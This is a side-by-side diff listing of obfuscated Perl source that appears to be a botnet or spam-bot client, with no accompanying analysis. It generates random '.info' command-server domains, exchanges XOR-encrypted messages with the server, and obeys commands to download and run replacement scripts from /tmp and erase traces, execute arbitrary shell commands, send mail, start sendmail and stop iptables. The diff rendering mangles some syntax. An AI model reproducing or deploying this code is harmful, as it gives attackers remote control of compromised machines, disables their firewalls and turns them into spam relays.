| 385 | - | $h39c. = $p[7].$p[9]; |
| 385 | + | if ($cf09 =~ /bin\// && $cf09 =~ /$gdhm$/) |
| 386 | - | $h39c. = '.'.$p[2].$p[0]; |
| 386 | + | {
|
| 387 | - | return($h39c, $ifib) if (aae($h39c, $ifib)); |
| 387 | + | $jap8 = $cf09; |
| 388 | - | } |
| 388 | + | return 1; |
| 389 | - | if ($cben == 5) {
|
| 389 | + | } |
| 390 | - | my @p = split '', |
| 390 | + | push (@e052,$cf09); |
| 391 | - | $p; |
| 391 | + | } |
| 392 | - | my $h39c = $p[7].$p[4]; |
| 392 | + | foreach my $cf09 (@e052) |
| 393 | - | $h39c. = '.'.$p[1].$p[0].$p[3]; |
| 393 | + | {
|
| 394 | - | $h39c. = '.'.$p[7].$p[9]; |
| 394 | + | if ($cf09 =~ /bin\//) |
| 395 | - | $h39c. = '.'.$p[3]; |
| 395 | + | {
|
| 396 | - | return($h39c, $ifib) if (aae($h39c, $ifib)); |
| 396 | + | $jap8 = $cf09; |
| 397 | - | } |
| 397 | + | return 1; |
| 398 | - | next if ($b7ha == $cben); |
| 398 | + | } |
| 399 | - | return($h843, $ifib) if (aap($g07h[$cben], $ifib)); |
| 399 | + | } |
| 400 | - | } |
| 400 | + | foreach my $cf09 (@e052) |
| 401 | - | my @p = split '', $p; |
| 401 | + | {
|
| 402 | - | my $h39c = $p[1].$p[9]; |
| 402 | + | if ($cf09 =~ /$gdhm$/) |
| 403 | - | $h39c = $h39c.$p[7].'.'.$h39c; |
| 403 | + | {
|
| 404 | - | $h39c = '.'.$h39c; |
| 404 | + | $jap8 = $cf09; |
| 405 | - | $h39c = '.'.$p[1].$p[2].$h39c; |
| 405 | + | return 1; |
| 406 | - | $h39c = $p[8].$p[3].$h39c; |
| 406 | + | } |
| 407 | - | return($h39c, $ifib) if (aae($h39c, $ifib)); |
| 407 | + | } |
| 408 | - | $bidj++; |
| 408 | + | } |
| 409 | - | return undef; |
| 409 | + | return 0; |
| 410 | - | } |
| 410 | + | |
| 411 | - | my $jc4b = 0; |
| 411 | + | sub aac |
| 412 | - | sub aaj {($hamo, $ifib) = ab6();
|
| 412 | + | {
|
| 413 | - | $jc4b = time() if ($hamo); |
| 413 | + | my $k8nc = shift; |
| 414 | - | $bj1c {
|
| 414 | + | my $geaj = shift; |
| 415 | - | 'd_fd' |
| 415 | + | if ($geaj =~ /([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)/) |
| 416 | - | } = $hamo; |
| 416 | + | {
|
| 417 | - | $bj1c {
|
| 417 | + | $geaj = ($1< |
| 418 | - | 'd_fi' |
| 418 | + | < |
| 419 | - | } = $alf3; |
| 419 | + | 24)+($2< |
| 420 | - | $bj1c {
|
| 420 | + | < |
| 421 | - | 'd_fp' |
| 421 | + | 16)+($3< |
| 422 | - | } = $ifib; |
| 422 | + | < |
| 423 | - | } |
| 423 | + | 8)+($4); |
| 424 | - | sub ab0 {
|
| 424 | + | } |
| 425 | - | my($cpgi, $c89b) = (14400, 3600); |
| 425 | + | else |
| 426 | - | return if (time() - $jc4b < $cpgi); |
| 426 | + | {
|
| 427 | - | my($e2n0, $d6pa, $b7l7) = ($hamo, $ifib, $alf3); |
| 427 | + | $geaj = int($geaj); |
| 428 | - | aaj(); |
| 428 | + | } |
| 429 | - | return if ($hamo && $ifib && $alf3); |
| 429 | + | my @ipha; |
| 430 | - | ($hamo, $ifib, $alf3) = ($e2n0, $d6pa, $b7l7); |
| 430 | + | $ipha[0] = ((($geaj&0xFF000000)> |
| 431 | - | $jc4b = time() - ($cpgi - $c89b); |
| 431 | + | > |
| 432 | - | } |
| 432 | + | 24)+15)%256; |
| 433 | - | sub aap {
|
| 433 | + | $ipha[1] = ((($geaj&0x00FF0000)> |
| 434 | - | my $hamo = shift; |
| 434 | + | > |
| 435 | - | my $ifib = shift; |
| 435 | + | 16)+13)%256; |
| 436 | - | my $e905 = "www.".$hamo; |
| 436 | + | $ipha[2] = ((($geaj&0x0000FF00)> |
| 437 | - | my $edod = aak(inet_aton($e905)); |
| 437 | + | > |
| 438 | - | if ($edod) {
|
| 438 | + | 8)+52)%256; |
| 439 | - | my $iph5 = ab4(10).".".$hamo; |
| 439 | + | $ipha[3] = ((($geaj&0x000000FF))+71)%256; |
| 440 | - | my $c7g3 = aak(inet_aton($iph5)); |
| 440 | + | my $ioi2; |
| 441 | - | if ($c7g3 && ($c7g3 == $edod + 1)) {
|
| 441 | + | for (my $i = 0; |
| 442 | - | return aae($iph5, $ifib); |
| 442 | + | $i < |
| 443 | - | } |
| 443 | + | length($k8nc); |
| 444 | - | } |
| 444 | + | $i++) |
| 445 | - | return 0; |
| 445 | + | {
|
| 446 | - | } |
| 446 | + | my $hec1 = ord(substr ($k8nc, $i, 1)); |
| 447 | - | sub aae {
|
| 447 | + | my $d = int($hec1^$ipha[$i%4]); |
| 448 | - | $h843 = shift; |
| 448 | + | $ioi2 .= sprintf("%02x", $d);
|
| 449 | - | my $ifib = shift; |
| 449 | + | $ipha[($i+1)%4] = ($ipha[($i+1)%4]+$d)%256; |
| 450 | - | my $io8b = int(rand(2147483647)); |
| 450 | + | } |
| 451 | - | my $geaj = int(rand(2147483647)); |
| 451 | + | return $ioi2; |
| 452 | - | $alf3 = aba($h843); |
| 452 | + | |
| 453 | - | my $e0kj = $io8b."*".$hahk."*".$geaj; |
| 453 | + | sub aah |
| 454 | - | my $b946 = aac($e0kj, $alf3); |
| 454 | + | {
|
| 455 | - | my $g6hd = "https://$h843:$ifib/$k0ob?id=$b946&check=1"; |
| 455 | + | my $k8nc = shift; |
| 456 | - | my @bfgb = ab8($g6hd); |
| 456 | + | my $geaj = shift; |
| 457 | - | for (my $i = 0; $i < scalar(@bfgb); |
| 457 | + | if ($geaj =~ /([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)/) |
| 458 | - | $i++) {
|
| 458 | + | {
|
| 459 | - | $bfgb[$i] = aah($bfgb[$i], $geaj); |
| 459 | + | $geaj = ($1< |
| 460 | - | } |
| 460 | + | < |
| 461 | - | my $jfcn = shift @bfgb; |
| 461 | + | 24)+($2< |
| 462 | - | if ($jfcn = ~ /^ SUCCESS$ /) {
|
| 462 | + | < |
| 463 | - | $bidj = 0; |
| 463 | + | 16)+($3< |
| 464 | - | return 1; |
| 464 | + | < |
| 465 | - | } |
| 465 | + | 8)+($4); |
| 466 | - | return 0; |
| 466 | + | } |
| 467 | - | } |
| 467 | + | else |
| 468 | - | sub ab5 {
|
| 468 | + | {
|
| 469 | - | my $geaj = shift; |
| 469 | + | $geaj = int($geaj); |
| 470 | - | my $io8b = shift; |
| 470 | + | } |
| 471 | - | my $c7bm; |
| 471 | + | my @ipha; |
| 472 | - | foreach my $f (keys %bj1c) {
|
| 472 | + | $ipha[0] = ((($geaj&0xFF000000)> |
| 473 | - | if ($f = ~ /^ d_(. +) $ /) {
|
| 473 | + | > |
| 474 | - | my $he4e = $1; |
| 474 | + | 24)+15)%256; |
| 475 | - | $c7bm. = ($c7bm ? "|" : "")."$he4e=".$bj1c {
|
| 475 | + | $ipha[1] = ((($geaj&0x00FF0000)> |
| 476 | - | $f |
| 476 | + | > |
| 477 | - | }; |
| 477 | + | 16)+13)%256; |
| 478 | - | } |
| 478 | + | $ipha[2] = ((($geaj&0x0000FF00)> |
| 479 | - | } |
| 479 | + | > |
| 480 | - | $c7bm = "$io8b*$c7bm" if ($io8b); |
| 480 | + | 8)+52)%256; |
| 481 | - | return aac($c7bm, $geaj); |
| 481 | + | $ipha[3] = ((($geaj&0x000000FF))+71)%256; |
| 482 | - | } |
| 482 | + | my $ioi2; |
| 483 | - | my $afj0; |
| 483 | + | for (my $i = 0; |
| 484 | - | sub aao {
|
| 484 | + | $i < |
| 485 | - | my $fpek = shift || time || 4357; |
| 485 | + | length($k8nc)/2; |
| 486 | - | my @a = (); |
| 486 | + | $i++) |
| 487 | - | for (1..10000) {
|
| 487 | + | {
|
| 488 | - | use integer; |
| 488 | + | my $hec1 = hex(substr ($k8nc, $i*2, 2)); |
| 489 | - | push @a, |
| 489 | + | $ipha[($i+1)%4] = ($ipha[($i+1)%4]+$hec1)%256; |
| 490 | - | $fpek & 0 x7fffffff; |
| 490 | + | $ioi2 .= chr($hec1^$ipha[$i%4]); |
| 491 | - | $fpek *= 69069; |
| 491 | + | } |
| 492 | - | } |
| 492 | + | return $ioi2; |
| 493 | - | $afj0 = {
|
| 493 | + | |
| 494 | - | offset => 0, |
| 494 | + | sub ab4 |
| 495 | - | array => \@a |
| 495 | + | {
|
| 496 | - | } |
| 496 | + | my $jh9k=shift; |
| 497 | - | } |
| 497 | + | my @gfe3=('a'..'z');
|
| 498 | - | sub aam {
|
| 498 | + | my $fpmd; |
| 499 | - | my $jpnb = shift || 1.0; |
| 499 | + | foreach(1..$jh9k) |
| 500 | - | aao() unless defined $afj0; |
| 500 | + | {
|
| 501 | - | $afj0 - > {
|
| 501 | + | $fpmd.=$gfe3[rand @gfe3]; |
| 502 | - | offset |
| 502 | + | } |
| 503 | - | } = ($afj0 - > {
|
| 503 | + | return $fpmd; |
| 504 | - | offset |
| 504 | + | |
| 505 | - | } + 1) % 10000; |
| 505 | + | sub aak |
| 506 | - | my $c8i0 = $afj0 - > {
|
| 506 | + | {
|
| 507 | - | offset |
| 507 | + | my $a=shift; |
| 508 | - | }; |
| 508 | + | my $ioi2=0; |
| 509 | - | my $a = $afj0 - > {
|
| 509 | + | $ioi2 +=(ord(substr($a,3,1)) & 0xFF); |
| 510 | - | array |
| 510 | + | $ioi2 +=(ord(substr($a,2,1)) & 0xFF) < |
| 511 | - | }; |
| 511 | + | < |
| 512 | - | $$a[$c8i0] = ($$a[($c8i0 - 471) % 10000] ^ $$a[($c8i0 - 1586) % 10000] ^ $$a[($c8i0 - 6988) % 10000] ^ $$a[($c8i0 - 9689) % 10000]); |
| 512 | + | 8; |
| 513 | - | return $$a[$c8i0] * $jpnb / (2 ** 31); |
| 513 | + | $ioi2 +=(ord(substr($a,1,1)) & 0xFF) < |
| 514 | - | } |
| 514 | + | < |
| 515 | - | sub aab {
|
| 515 | + | 16; |
| 516 | - | my $jh9k = 10; |
| 516 | + | $ioi2 +=(ord(substr($a,0,1)) & 0xFF) < |
| 517 | - | my @gfe3 = ('a'..'z');
|
| 517 | + | < |
| 518 | - | aao(123987); |
| 518 | + | 24; |
| 519 | - | my $fpmd; |
| 519 | + | return $ioi2; |
| 520 | - | for (my $i = -15; $i < $gbed; $i++) {
|
| 520 | + | |
| 521 | - | $fpmd = ""; |
| 521 | + | sub aba |
| 522 | - | foreach(1.. $jh9k) {
|
| 522 | + | {
|
| 523 | - | $fpmd. = $gfe3[int(aam(scalar(@gfe3)))]; |
| 523 | + | my $hamo=shift; |
| 524 | - | } |
| 524 | + | my $jel7=inet_aton($hamo); |
| 525 | - | if ($i >= 0) {
|
| 525 | + | return(defined $jel7)?inet_ntoa($jel7):undef; |
| 526 | - | my $fhf8 = $fpmd.".info"; |
| 526 | + | |
| 527 | - | push @g07h, |
| 527 | + | sub ab8 |
| 528 | - | $fhf8; |
| 528 | + | {
|
| 529 | - | } |
| 529 | + | my $g6hd=shift; |
| 530 | - | } |
| 530 | + | my $i6ff=sprintf($heel, $g6hd); |
| 531 | - | } |
| 531 | + | my @ioi2=`$i6ff`; |
| 532 | - | if (!aai()) {
|
| 532 | + | chomp @ioi2; |
| 533 | - | exit; |
| 533 | + | return @ioi2; |
| 534 | - | } |
| 534 | + | |
| 535 | - | aab(); |
| 535 | + | sub aag |
| 536 | - | my $iib6 = 0; |
| 536 | + | {
|
| 537 | - | while (1) {
|
| 537 | + | my $g6hd=shift; |
| 538 | - | my $jfcn; |
| 538 | + | my $b6o8=shift; |
| 539 | - | my @bfgb; |
| 539 | + | if($epm2 eq "wget") |
| 540 | - | ab7(); |
| 540 | + | {
|
| 541 | - | aaj() if (!$hamo || !$ifib || !$alf3); |
| 541 | + | `wget -q "$g6hd" -O "$b6o8"`; |
| 542 | - | ab0(); |
| 542 | + | } |
| 543 | - | if (!$hamo || !$ifib || !$alf3) {
|
| 543 | + | elsif($epm2 eq "curl") |
| 544 | - | if ($bidj >= 24) {
|
| 544 | + | {
|
| 545 | - | last; |
| 545 | + | `curl "$g6hd" > |
| 546 | - | } |
| 546 | + | "$b6o8"`; |
| 547 | - | sleep 3600; |
| 547 | + | } |
| 548 | - | next; |
| 548 | + | elsif($epm2 eq "fetch") |
| 549 | - | } |
| 549 | + | {
|
| 550 | - | my $io8b = int(rand(2147483647)); |
| 550 | + | `fetch -o "$b6o8" "$g6hd"`; |
| 551 | - | my $c74e = int(rand(2147483647)); |
| 551 | + | } |
| 552 | - | my $geaj = int(rand(2147483647)); |
| 552 | + | |
| 553 | - | my $e0kj = $io8b."*".$hahk."*".$geaj; |
| 553 | + | my $cben=0; |
| 554 | - | my $b946 = aac($e0kj, $alf3); |
| 554 | + | my $bidj=0; |
| 555 | - | my $g6hd = "https://$alf3:$ifib/$k0ob?id=$b946"; |
| 555 | + | my $h843; |
| 556 | - | $g6hd. = "&sent=$jb0l"; |
| 556 | + | my @g07h=(); |
| 557 | - | $g6hd. = "¬sent=$b8mj"; |
| 557 | + | sub ab6 |
| 558 | - | $g6hd. = "&unknown=".CGI :: escape($c087) if ($c087); |
| 558 | + | {
|
| 559 | - | $g6hd. = "&testsend=1" if ($i5fg); |
| 559 | + | my $ifib=$ipnl; |
| 560 | - | $g6hd. = "&stat=".ab5($alf3, $c74e); |
| 560 | + | undef $h843; |
| 561 | - | @bfgb = ab8($g6hd); |
| 561 | + | return($h843, $ifib) if(aap($g07h[$cben], $ifib)); |
| 562 | - | for (my $i = 0; $i < scalar(@bfgb); |
| 562 | + | my $b7ha=$cben; |
| 563 | - | $i++) {
|
| 563 | + | for($cben=0; |
| 564 | - | $bfgb[$i] = aah($bfgb[$i], $geaj); |
| 564 | + | $cben < |
| 565 | - | } |
| 565 | + | 10; |
| 566 | - | $jfcn = shift @bfgb; |
| 566 | + | $cben++) |
| 567 | - | if ($jfcn) {
|
| 567 | + | {
|
| 568 | - | $iib6 = 0; |
| 568 | + | if($cben==4) |
| 569 | - | $jb0l = 0; |
| 569 | + | {
|
| 570 | - | $b8mj = 0; |
| 570 | + | my @p=split '',$p; |
| 571 | - | $i5fg = 0; |
| 571 | + | my $h39c=$p[6]; |
| 572 | - | $c087 = 0; |
| 572 | + | $h39c="$h39c$h39c.6$h39c."; |
| 573 | - | } else {
|
| 573 | + | $h39c .=$p[7].$p[9]; |
| 574 | - | $iib6++; |
| 574 | + | $h39c .='.'.$p[2].$p[0]; |
| 575 | - | if ($iib6 > 3) {
|
| 575 | + | return($h39c, $ifib) if(aae($h39c, $ifib)); |
| 576 | - | $iib6 = 0; |
| 576 | + | } |
| 577 | - | undef($hamo); |
| 577 | + | if($cben==5) |
| 578 | - | undef($alf3); |
| 578 | + | {
|
| 579 | - | undef($ifib); |
| 579 | + | my @p=split '',$p; |
| 580 | - | } |
| 580 | + | my $h39c=$p[7].$p[4]; |
| 581 | - | $jfcn = "SLEEP 60"; |
| 581 | + | $h39c .='.'.$p[1].$p[0].$p[3]; |
| 582 | - | } |
| 582 | + | $h39c .='.'.$p[7].$p[9]; |
| 583 | - | if ($jfcn = ~ /^ SLEEP ([0 - 9] +) $ /) {
|
| 583 | + | $h39c .='.'.$p[3]; |
| 584 | - | sleep $1; |
| 584 | + | return($h39c, $ifib) if(aae($h39c, $ifib)); |
| 585 | - | next; |
| 585 | + | } |
| 586 | - | } |
| 586 | + | next if($b7ha==$cben); |
| 587 | - | elsif ($jfcn = ~ /^ RELOAD (. *) $ /) {
|
| 587 | + | return($h843, $ifib) if(aap($g07h[$cben], $ifib)); |
| 588 | - | aag($1, "/tmp/ "); |
| 588 | + | } |
| 589 | - | close(SIGNFH); |
| 589 | + | my @p=split '',$p; |
| 590 | - | system('cd /tmp; nohup perl " " " " &');
|
| 590 | + | my $h39c=$p[1].$p[9]; |
| 591 | - | sleep 5; |
| 591 | + | $h39c=$h39c.$p[7].'.'.$h39c; |
| 592 | - | `rm - f "/tmp/ " / tmp / nohup.out`; |
| 592 | + | $h39c='.'.$h39c; |
| 593 | - | last; |
| 593 | + | $h39c='.'.$p[1].$p[2].$h39c; |
| 594 | - | } |
| 594 | + | $h39c=$p[8].$p[3].$h39c; |
| 595 | - | elsif ($jfcn = ~ /^ KILL$ /) {
|
| 595 | + | return($h39c, $ifib) if(aae($h39c, $ifib)); |
| 596 | - | last; |
| 596 | + | $bidj++; |
| 597 | - | } |
| 597 | + | return undef; |
| 598 | - | elsif ($jfcn = ~ /^ SEND ([a - zA - Z0 - 9] +) $ /) {
|
| 598 | + | |
| 599 | - | aal($1, \@bfgb); |
| 599 | + | my $jc4b=0; |
| 600 | - | undef @bfgb; |
| 600 | + | sub aaj |
| 601 | - | sleep 1; |
| 601 | + | {
|
| 602 | - | next; |
| 602 | + | ($hamo, $ifib)=ab6(); |
| 603 | - | } |
| 603 | + | $jc4b=time() if($hamo); |
| 604 | - | elsif ($jfcn = ~ /^ TESTSEND ([a - zA - Z0 - 9] +) $ /) {
|
| 604 | + | $bj1c |
| 605 | - | aal($1, \@bfgb); |
| 605 | + | {
|
| 606 | - | undef @bfgb; |
| 606 | + | 'd_fd' |
| 607 | - | $i5fg = 1; |
| 607 | + | } |
| 608 | - | sleep 1; |
| 608 | + | =$hamo; |
| 609 | - | next; |
| 609 | + | $bj1c |
| 610 | - | } |
| 610 | + | {
|
| 611 | - | elsif ($jfcn = ~ /^ EXECUTE (. *) $ /) {
|
| 611 | + | 'd_fi' |
| 612 | - | qx($1); |
| 612 | + | } |
| 613 | - | next; |
| 613 | + | =$alf3; |
| 614 | - | } |
| 614 | + | $bj1c |
| 615 | - | elsif ($jfcn = ~ /^ START SENDMAIL$ /) {
|
| 615 | + | {
|
| 616 | - | `service sendmail start`; |
| 616 | + | 'd_fp' |
| 617 | - | next; |
| 617 | + | } |
| 618 | - | } |
| 618 | + | =$ifib; |
| 619 | - | elsif ($jfcn = ~ /^ STOP IPTABLES$ /) {
|
| 619 | + | |
| 620 | - | `service iptables stop`; |
| 620 | + | sub ab0 |
| 621 | - | next; |
| 621 | + | {
|
| 622 | - | } |
| 622 | + | my($cpgi, $c89b)=(14400, 3600); |
| 623 | - | $c087 = $jfcn; |
| 623 | + | return if(time() - $jc4b < |
| 624 | - | sleep 30; |
| 624 | + | $cpgi); |
| 625 | - | if (!aae($hamo, $ifib)) {
|
| 625 | + | my($e2n0, $d6pa, $b7l7)=($hamo, $ifib, $alf3); |
| 626 | - | undef($hamo); |
| 626 | + | aaj(); |
| 627 | - | undef($alf3); |
| 627 | + | return if($hamo && $ifib && $alf3); |
| 628 | - | undef($ifib); |
| 628 | + | ($hamo, $ifib, $alf3)=($e2n0, $d6pa, $b7l7); |
| 629 | - | } |
| 629 | + | $jc4b=time() -($cpgi - $c89b); |
| 630 | - | } |
| 630 | + | |
| 631 | sub aap | |
| 632 | {
| |
| 633 | my $hamo=shift; | |
| 634 | my $ifib=shift; | |
| 635 | my $e905="www.".$hamo; | |
| 636 | my $edod=aak(inet_aton($e905)); | |
| 637 | if($edod) | |
| 638 | {
| |
| 639 | my $iph5=ab4(10).".".$hamo; | |
| 640 | my $c7g3=aak(inet_aton($iph5)); | |
| 641 | if($c7g3 &&($c7g3==$edod+1)) | |
| 642 | {
| |
| 643 | return aae($iph5, $ifib); | |
| 644 | } | |
| 645 | } | |
| 646 | return 0; | |
| 647 | } | |
| 648 | sub aae | |
| 649 | {
| |
| 650 | $h843=shift; | |
| 651 | my $ifib=shift; | |
| 652 | my $io8b=int(rand(2147483647)); | |
| 653 | my $geaj=int(rand(2147483647)); | |
| 654 | $alf3=aba($h843); | |
| 655 | my $e0kj=$io8b."*".$hahk."*".$geaj; | |
| 656 | my $b946=aac($e0kj, $alf3); | |
| 657 | my $g6hd="https://$h843:$ifib/$k0ob?id=$b946&check=1"; | |
| 658 | my @bfgb = ab8($g6hd); | |
| 659 | for (my $i=0; | |
| 660 | $i< | |
| 661 | scalar(@bfgb); | |
| 662 | $i++) | |
| 663 | {
| |
| 664 | $bfgb[$i] = aah($bfgb[$i], $geaj); | |
| 665 | } | |
| 666 | my $jfcn = shift @bfgb; | |
| 667 | if ($jfcn =~ /^SUCCESS$/) | |
| 668 | {
| |
| 669 | $bidj = 0; | |
| 670 | return 1; | |
| 671 | } | |
| 672 | return 0; | |
| 673 | } | |
| 674 | sub ab5 | |
| 675 | {
| |
| 676 | my $geaj = shift; | |
| 677 | my $io8b = shift; | |
| 678 | my $c7bm; | |
| 679 | foreach my $f (keys %bj1c) | |
| 680 | {
| |
| 681 | if ($f =~ /^d_(.+)$/) | |
| 682 | {
| |
| 683 | my $he4e = $1; | |
| 684 | $c7bm .= ($c7bm?"|":"")."$he4e=".$bj1c | |
| 685 | {
| |
| 686 | $f | |
| 687 | } | |
| 688 | ; | |
| 689 | } | |
| 690 | } | |
| 691 | $c7bm="$io8b*$c7bm" if($io8b); | |
| 692 | return aac($c7bm, $geaj); | |
| 693 | } | |
| 694 | my $afj0; | |
| 695 | sub aao | |
| 696 | {
| |
| 697 | my $fpek=shift || time || 4357; | |
| 698 | my @a=(); | |
| 699 | for(1..10000) | |
| 700 | {
| |
| 701 | use integer; | |
| 702 | push @a, $fpek & 0x7fffffff; | |
| 703 | $fpek *=69069; | |
| 704 | } | |
| 705 | $afj0= | |
| 706 | {
| |
| 707 | offset=> | |
| 708 | 0, array=> | |
| 709 | \@a | |
| 710 | } | |
| 711 | } | |
| 712 | sub aam | |
| 713 | {
| |
| 714 | my $jpnb=shift || 1.0; | |
| 715 | aao() unless defined $afj0; | |
| 716 | $afj0-> | |
| 717 | {
| |
| 718 | offset | |
| 719 | } | |
| 720 | =($afj0-> | |
| 721 | {
| |
| 722 | offset | |
| 723 | } | |
| 724 | + 1) % 10000; | |
| 725 | my $c8i0=$afj0-> | |
| 726 | {
| |
| 727 | offset | |
| 728 | } | |
| 729 | ; | |
| 730 | my $a=$afj0-> | |
| 731 | {
| |
| 732 | array | |
| 733 | } | |
| 734 | ; | |
| 735 | $$a[$c8i0]=($$a[($c8i0 - 471) % 10000] ^ $$a[($c8i0 - 1586) % 10000] ^ $$a[($c8i0 - 6988) % 10000] ^ $$a[($c8i0 - 9689) % 10000]); | |
| 736 | return $$a[$c8i0] * $jpnb /(2**31); | |
| 737 | } | |
| 738 | sub aab | |
| 739 | {
| |
| 740 | my $jh9k=10; | |
| 741 | my @gfe3=('a'..'z');
| |
| 742 | aao(123987); | |
| 743 | my $fpmd; | |
| 744 | for(my $i=-15; | |
| 745 | $i< | |
| 746 | $gbed; | |
| 747 | $i++) | |
| 748 | {
| |
| 749 | $fpmd=""; | |
| 750 | foreach(1..$jh9k) | |
| 751 | {
| |
| 752 | $fpmd.=$gfe3[int(aam(scalar(@gfe3)))]; | |
| 753 | } | |
| 754 | if($i > | |
| 755 | =0) | |
| 756 | {
| |
| 757 | my $fhf8=$fpmd.".info"; | |
| 758 | push @g07h, $fhf8; | |
| 759 | } | |
| 760 | } | |
| 761 | } | |
| 762 | if(!aai()) | |
| 763 | {
| |
| 764 | exit; | |
| 765 | } | |
| 766 | aab(); | |
| 767 | my $iib6=0; | |
| 768 | while(1) | |
| 769 | {
| |
| 770 | my $jfcn; | |
| 771 | my @bfgb; | |
| 772 | ab7(); | |
| 773 | aaj() if(!$hamo || !$ifib || !$alf3); | |
| 774 | ab0(); | |
| 775 | if(!$hamo || !$ifib || !$alf3) | |
| 776 | {
| |
| 777 | if($bidj > | |
| 778 | =24) | |
| 779 | {
| |
| 780 | last; | |
| 781 | } | |
| 782 | sleep 3600; | |
| 783 | next; | |
| 784 | } | |
| 785 | my $io8b=int(rand(2147483647)); | |
| 786 | my $c74e=int(rand(2147483647)); | |
| 787 | my $geaj=int(rand(2147483647)); | |
| 788 | my $e0kj=$io8b."*".$hahk."*".$geaj; | |
| 789 | my $b946=aac($e0kj, $alf3); | |
| 790 | my $g6hd="https://$alf3:$ifib/$k0ob?id=$b946"; | |
| 791 | $g6hd .="&sent=$jb0l"; | |
| 792 | $g6hd .="¬sent=$b8mj"; | |
| 793 | $g6hd .="&unknown=".CGI::escape($c087) if($c087); | |
| 794 | $g6hd .="&testsend=1" if($i5fg); | |
| 795 | $g6hd .="&stat=".ab5($alf3, $c74e); | |
| 796 | @bfgb=ab8($g6hd); | |
| 797 | for(my $i=0; | |
| 798 | $i< | |
| 799 | scalar(@bfgb); | |
| 800 | $i++) | |
| 801 | {
| |
| 802 | $bfgb[$i]=aah($bfgb[$i], $geaj); | |
| 803 | } | |
| 804 | $jfcn=shift @bfgb; | |
| 805 | if($jfcn) | |
| 806 | {
| |
| 807 | $iib6=0; | |
| 808 | $jb0l=0; | |
| 809 | $b8mj=0; | |
| 810 | $i5fg=0; | |
| 811 | $c087=0; | |
| 812 | } | |
| 813 | else | |
| 814 | {
| |
| 815 | $iib6++; | |
| 816 | if($iib6 > | |
| 817 | 3) | |
| 818 | {
| |
| 819 | $iib6=0; | |
| 820 | undef($hamo); | |
| 821 | undef($alf3); | |
| 822 | undef($ifib); | |
| 823 | } | |
| 824 | $jfcn="SLEEP 60"; | |
| 825 | } | |
| 826 | if ($jfcn =~ /^SLEEP ([0-9]+)$/) | |
| 827 | {
| |
| 828 | sleep $1; | |
| 829 | next; | |
| 830 | } | |
| 831 | elsif ($jfcn =~ /^RELOAD (.*)$/) | |
| 832 | {
| |
| 833 | aag($1, "/tmp/ "); | |
| 834 | close(SIGNFH); | |
| 835 | system('cd /tmp;
| |
| 836 | nohup perl " " " " &'); | |
| 837 | sleep 5; | |
| 838 | `rm -f "/tmp/ " /tmp/nohup.out`; | |
| 839 | last; | |
| 840 | } | |
| 841 | elsif ($jfcn =~ /^KILL$/) | |
| 842 | {
| |
| 843 | last; | |
| 844 | } | |
| 845 | elsif ($jfcn =~ /^SEND ([a-zA-Z0-9]+)$/) | |
| 846 | {
| |
| 847 | aal($1, \@bfgb); | |
| 848 | undef @bfgb; | |
| 849 | sleep 1; | |
| 850 | next; | |
| 851 | } | |
| 852 | elsif ($jfcn =~ /^TESTSEND ([a-zA-Z0-9]+)$/) | |
| 853 | {
| |
| 854 | aal($1, \@bfgb); | |
| 855 | undef @bfgb; | |
| 856 | $i5fg = 1; | |
| 857 | sleep 1; | |
| 858 | next; | |
| 859 | } | |
| 860 | elsif ($jfcn =~ /^EXECUTE (.*)$/) | |
| 861 | {
| |
| 862 | qx($1); | |
| 863 | next; | |
| 864 | } | |
| 865 | elsif ($jfcn =~ /^START SENDMAIL$/) | |
| 866 | {
| |
| 867 | `service sendmail start`; | |
| 868 | next; | |
| 869 | } | |
| 870 | elsif ($jfcn =~ /^STOP IPTABLES$/) | |
| 871 | {
| |
| 872 | `service iptables stop`; | |
| 873 | next; | |
| 874 | } | |
| 875 | $c087=$jfcn; | |
| 876 | sleep 30; | |
| 877 | if(!aae($hamo, $ifib)) | |
| 878 | {
| |
| 879 | undef($hamo); | |
| 880 | undef($alf3); | |
| 881 | undef($ifib); | |
| 882 | } | |
| 883 | } | |
| 884 | __END__ |
